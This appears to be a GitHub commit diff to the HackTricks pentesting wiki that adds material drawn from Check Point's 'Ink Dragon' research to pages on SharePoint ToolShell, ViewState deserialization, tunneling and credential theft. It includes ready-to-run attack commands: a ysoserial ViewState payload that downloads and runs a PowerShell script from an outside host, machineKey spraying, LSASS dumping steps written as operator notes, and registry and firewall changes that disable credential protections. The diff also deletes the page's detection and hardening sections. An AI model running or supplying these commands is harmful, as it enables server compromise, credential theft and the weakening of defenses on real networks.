Skip to content

Commit 63f68f4

Browse files
author
HackTricks News Bot
committed
Add content from: Inside Ink Dragon: Revealing the Relay Network and Inner Wor...
1 parent 6a3dfac commit 63f68f4

File tree

6 files changed

+173
-28
lines changed

6 files changed

+173
-28
lines changed

src/generic-hacking/tunneling-and-port-forwarding.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -816,6 +816,29 @@ Because Tiny Core is stateless, attackers usually:
816816
• Block outbound connections that originate from `qemu-system*.exe`.
817817
• Hunt for rare listening ports (2222, 10022, …) binding immediately after a QEMU launch.
818818

819+
## IIS/HTTP.sys relay nodes via `HttpAddUrl` (ShadowPad)
820+
821+
Ink Dragon’s ShadowPad IIS module turns every compromised perimeter web server into a dual-purpose **backdoor + relay** by binding covert URL prefixes directly at the HTTP.sys layer:
822+
823+
* **Config defaults** – if the module’s JSON config omits values, it falls back to believable IIS defaults (`Server: Microsoft-IIS/10.0`, `DocumentRoot: C:\inetpub\wwwroot`, `ErrorPage: C:\inetpub\custerr\en-US\404.htm`). That way benign traffic is answered by IIS with the correct branding.
824+
* **Wildcard interception** – operators supply a semicolon-separated list of URL prefixes (wildcards in host + path). The module calls `HttpAddUrl` for each entry, so HTTP.sys routes matching requests to the malicious handler *before* the request reaches IIS modules.
825+
* **Encrypted first packet** – the first two bytes of the request body carry the seed for a custom 32-bit PRNG. Every subsequent byte is XOR-ed with the generated keystream before protocol parsing:
826+
827+
```python
828+
def decrypt_first_packet(buf):
829+
seed = buf[0] | (buf[1] << 8)
830+
num = seed & 0xFFFFFFFF
831+
out = bytearray(buf)
832+
for i in range(2, len(out)):
833+
hi = (num >> 16) & 0xFFFF
834+
num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
835+
out[i] ^= num & 0xFF
836+
return out
837+
```
838+
839+
* **Relay orchestration** – the module maintains two lists: “servers” (upstream nodes) and “clients” (downstream implants). Entries are pruned if no heartbeat arrives within ~30 seconds. When both lists are non-empty, it pairs the first healthy server with the first healthy client and simply pipes bytes between their sockets until one side closes.
840+
* **Debug telemetry** – optional logging records source IP, destination IP, and total forwarded bytes for each pairing. Investigators used those breadcrumbs to rebuild the ShadowPad mesh spanning multiple victims.
841+
819842
---
820843

821844
## Other tools to check
@@ -827,6 +850,7 @@ Because Tiny Core is stateless, attackers usually:
827850

828851
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
829852
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
853+
- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
830854

831855
{{#include ../banners/hacktricks-training.md}}
832856

src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md

Lines changed: 25 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,15 @@ Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.c
5757
* `<machineKey validationKey="…" decryptionKey="…">` ➜ forge ViewState / ASPXAUTH cookies
5858
* connection strings & secrets.
5959

60+
### 2.5 ToolShell workflow observed in Ink Dragon intrusions
61+
62+
Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:
63+
64+
* **Header spoofing for auth bypass** – the actor sends POSTs to `/_layouts/15/ToolPane.aspx` with `Referer: https://<victim>/_layouts/15/` plus a fake `X-Forms_BaseUrl`. Those headers convince SharePoint that the request originates from a trusted layout and completely skip front-door authentication (CVE-2025-49706/CVE-2025-53771).
65+
* **Serialized gadget in the same request** – the body includes attacker-controlled ViewState/ToolPart data that reaches the vulnerable server-side formatter (CVE-2025-49704/CVE-2025-53770). The payload is usually a ysoserial.net chain that runs inside `w3wp.exe` without ever touching disk.
66+
* **Internet-scale scanning** – telemetry from July 2025 shows them enumerating every reachable `/_layouts/15/ToolPane.aspx` endpoint and replaying a dictionary of leaked `<machineKey>` pairs. Any site that copied a sample `validationKey` from documentation can be compromised even if it is otherwise fully patched (see the ViewState page for the signing workflow).
67+
* **Immediate staging** – successful exploitation drops a loader or PowerShell stager that: (1) dumps every `web.config`, (2) plants an ASPX webshell for contingency access, and (3) schedules a local Potato privesc to escape the IIS worker.
68+
6069
## 3. Post-exploitation recipes observed in the wild
6170

6271
### 3.1 Exfiltrate every *.config* file (variation-1)
@@ -149,30 +158,28 @@ Recent incident-response investigations (Unit42 “Project AK47”) show how att
149158
> [!INFO]
150159
> The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.
151160
152-
---
161+
### 3.5 Turning SharePoint loot into lateral movement
153162

154-
## 4. Detection ideas
163+
* **Decrypt every protected section** – once seated on the web tier, abuse `aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri` (or `-px "appSettings"`) to dump the clear-text secrets hiding behind `<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">`. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.
164+
* **Recycle app-pool accounts across farms** – many enterprises reuse the same domain account for `IIS APPPOOL\SharePoint` on every front-end. After decrypting `identity impersonate="..."` blocks or reading `ApplicationHost.config`, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing `psexec`, `sc create`, or scheduled-task staging without triggering password sprays.
165+
* **Abuse leaked `<machineKey>` values internally** – even if the internet perimeter gets patched, reusing the same `validationKey`/`decryptionKey` allows lateral ViewState exploitation between internal SharePoint zones that trust each other.
155166

156-
| Telemetry | Why it is suspicious |
157-
|-----------|----------------------|
158-
| `w3wp.exe → cmd.exe` | Worker process should rarely spawn shell |
159-
| `cmd.exe → powershell.exe -EncodedCommand` | Classic lolbin pattern |
160-
| File events creating `debug_dev.js` or `spinstall0.aspx` | IOCs straight from ToolShell |
161-
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | Public PoCs invoke this page |
167+
### 3.6 Persistence patterns witnessed in 2025 intrusions
162168

163-
Example XDR / Sysmon rule (pseudo-XQL):
169+
* **Scheduled tasks** – a one-shot task named `SYSCHECK` (or other health-themed names) is created with `/ru SYSTEM /sc once /st <hh:mm>` to bootstrap the next-stage loader (commonly a renamed `conhost.exe`). Because it is run-once, telemetry often misses it unless historic task XML is preserved.
170+
* **Masqueraded services** – services such as `WindowsTempUpdate`, `WaaSMaintainer`, or `MicrosoftTelemetryHost` are installed via `sc create` pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the `OriginalFileName` PE field is a quick integrity check.
164171

165-
```
166-
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
172+
### 3.7 Host firewall downgrades for relay traffic
173+
174+
Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:
175+
176+
```cmd
177+
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
167178
```
168179

169-
## 5. Hardening & Mitigation
180+
Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as `program=`, most SOC baselines ignore it, yet it opens **Any ➜ Any** egress.
170181

171-
1. **Patch** – July 2025 security updates fix *all* four CVEs.
172-
2. **Rotate** every `<machineKey>` and `ViewState` secrets after compromise.
173-
3. Remove *LAYOUTS* write permission from `WSS_WPG` & `WSS_ADMIN_WPG` groups.
174-
4. Block external access to `/_layouts/15/ToolPane.aspx` at proxy/WAF level.
175-
5. Enable **ViewStateUserKey**, **MAC enabled**, and custom *EventValidation*.
182+
---
176183

177184
## Related tricks
178185

@@ -189,5 +196,6 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
189196
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
190197
- [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
191198
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
199+
- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
192200

193201
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

Lines changed: 25 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -126,6 +126,29 @@ In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you
126126
--apppath="/" --path="/hello.aspx"
127127
```
128128

129+
### Exploiting recycled `<machineKey>` values at scale
130+
131+
Ink Dragon (2025) demonstrated how dangerous it is when administrators **copy the sample `<machineKey>` blocks published in Microsoft docs, StackOverflow answers or vendor blogs**. Once a single target leaks or reuses those keys across the farm, every other ASP.NET page that trusts ViewState can be hijacked remotely without any additional vulnerability.
132+
133+
1. **Build a candidate wordlist** with the leaked `validationKey`/`decryptionKey` pairs (e.g. scrape public repos, Microsoft blog posts, or keys recovered from one host in the farm) and feed it to Blacklist3r/Badsecrets:
134+
135+
```bash
136+
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
137+
# or let Badsecrets spray the list
138+
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld
139+
```
140+
141+
The tooling repeatedly signs a benign `__VIEWSTATE` blob with each candidate key until the server accepts the MAC, proving the key is valid.
142+
2. **Forge the malicious ViewState** once the key pair is known. If encryption is disabled you only need the `validationKey`. If encryption is enabled, include the matching `decryptionKey` so the payload survives the decrypt → deserialize path:
143+
144+
```bash
145+
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
146+
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>
147+
```
148+
149+
Operators often embed disk-resident launchers (e.g. PrintNotifyPotato, ShadowPad loaders, etc.) straight in the payload because it executes as the IIS worker (`w3wp.exe`).
150+
3. **Pivot laterally** by recycling the same `<machineKey>` across sibling SharePoint/IIS nodes. Once one server is compromised you can replay the key to hit every other server that never rotated its configuration.
151+
129152
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
130153

131154
In this it's not known if the parameter is protected with MAC. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
@@ -249,7 +272,7 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
249272
--generator=<VIEWSTATEGEN> --minify
250273
```
251274

252-
Rotating static keys or switching to *AutoGenerate* keys in Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitigates this class of attacks.
275+
Targets that keep reusing the same static keys across farms stay vulnerable indefinitely; once they migrate to `AutoGenerate` values the spray technique dies, so prioritize legacy deployments that still expose hard-coded material.
253276

254277
### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded keys
255278
Kudelski Security uncovered that multiple CentreStack / Triofox releases shipped with identical `machineKey` values, enabling unauthenticated remote code execution through ViewState forgery (CVE-2025-30406).
@@ -281,6 +304,7 @@ Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – upgrade or
281304
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
282305
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
283306
- [SharePointToolShellexploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
307+
- [Check Point ResearchInside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
284308
285309

286310

src/windows-hardening/stealing-credentials/README.md

Lines changed: 63 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -126,6 +126,22 @@ Get-Process -Name LSASS
126126
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
127127
```
128128

129+
## LalsDumper – SSP-based LSASS dumping without MiniDumpWriteDump
130+
131+
Ink Dragon ships a three-stage dumper dubbed **LalsDumper** that never calls `MiniDumpWriteDump`, so EDR hooks on that API never fire:
132+
133+
1. **Stage 1 loader (`lals.exe`)** – searches `fdp.dll` for a placeholder consisting of 32 lower-case `d` characters, overwrites it with the absolute path to `rtu.txt`, saves the patched DLL as `nfdp.dll`, and calls `AddSecurityPackageA("nfdp","fdp")`. This forces **LSASS** to load the malicious DLL as a new Security Support Provider (SSP).
134+
2. **Stage 2 inside LSASS** – when LSASS loads `nfdp.dll`, the DLL reads `rtu.txt`, XORs each byte with `0x20`, and maps the decoded blob into memory before transferring execution.
135+
3. **Stage 3 dumper** – the mapped payload re-implements MiniDump logic using **direct syscalls** resolved from hashed API names (`seed = 0xCD7815D6; h ^= (ch + ror32(h,8))`). A dedicated export named `Tom` opens `%TEMP%\<pid>.ddt`, streams a compressed LSASS dump into the file, and closes the handle so exfiltration can happen later.
136+
137+
Operator notes:
138+
139+
* Keep `lals.exe`, `fdp.dll`, `nfdp.dll`, and `rtu.txt` in the same directory. Stage 1 rewrites the hard-coded placeholder with the absolute path to `rtu.txt`, so splitting them breaks the chain.
140+
* Registration happens by appending `nfdp` to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`. You can seed that value yourself to make LSASS reload the SSP every boot.
141+
* `%TEMP%\*.ddt` files are compressed dumps. Decompress locally, then feed them to Mimikatz/Volatility for credential extraction.
142+
* Running `lals.exe` requires admin/SeTcb rights so `AddSecurityPackageA` succeeds; once the call returns, LSASS transparently loads the rogue SSP and executes Stage 2.
143+
* Removing the DLL from disk does not evict it from LSASS. Either delete the registry entry and restart LSASS (reboot) or leave it for long-term persistence.
144+
129145
## CrackMapExec
130146

131147
### Dump SAM hashes
@@ -321,9 +337,54 @@ type outpwdump
321337
322338
Download it from:[ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) and just **execute it** and the passwords will be extracted.
323339
324-
## Defenses
340+
## Mining idle RDP sessions and weakening security controls
341+
342+
Ink Dragon’s FinalDraft RAT includes a `DumpRDPHistory` tasker whose techniques are handy for any red-teamer:
343+
344+
### DumpRDPHistory-style telemetry collection
345+
346+
* **Outbound RDP targets** – parse every user hive at `HKU\<SID>\SOFTWARE\Microsoft\Terminal Server Client\Servers\*`. Each subkey stores the server name, `UsernameHint`, and the last write timestamp. You can replicate FinalDraft’s logic with PowerShell:
347+
348+
```powershell
349+
Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object {
350+
Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue |
351+
ForEach-Object {
352+
$server = Split-Path $_.Name -Leaf
353+
$user = (Get-ItemProperty $_.Name).UsernameHint
354+
"OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)"
355+
}
356+
}
357+
```
358+
359+
* **Inbound RDP evidence** – query the `Microsoft-Windows-TerminalServices-LocalSessionManager/Operational` log for Event IDs **21** (successful logon) and **25** (disconnect) to map who administered the box:
360+
361+
```powershell
362+
Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" \
363+
| Where-Object { $_.Id -in 21,25 } \
364+
| Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}}
365+
```
366+
367+
Once you know which Domain Admin regularly connects, dump LSASS (with LalsDumper/Mimikatz) while their **disconnected** session still exists. CredSSP + NTLM fallback leaves their verifier and tokens in LSASS, which can then be replayed over SMB/WinRM to grab `NTDS.dit` or stage persistence on domain controllers.
368+
369+
### Registry downgrades targeted by FinalDraft
370+
371+
The same implant also tampers with several registry keys to make credential theft easier:
372+
373+
```cmd
374+
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f
375+
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
376+
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2 /f
377+
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
378+
```
379+
380+
* Setting `DisableRestrictedAdmin=1` forces full credential/ticket reuse during RDP, enabling pass-the-hash style pivots.
381+
* `LocalAccountTokenFilterPolicy=1` disables UAC token filtering so local admins get unrestricted tokens over the network.
382+
* `DSRMAdminLogonBehavior=2` lets the DSRM administrator log on while the DC is online, giving attackers another built-in high-privilege account.
383+
* `RunAsPPL=0` removes LSASS PPL protections, making memory access trivial for dumpers such as LalsDumper.
384+
385+
## References
325386
326-
[**Learn about some credentials protections here.**](credentials-protections.md)
387+
- [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)
327388
328389
{{#include ../../banners/hacktricks-training.md}}
329390

0 commit comments

Comments
 (0)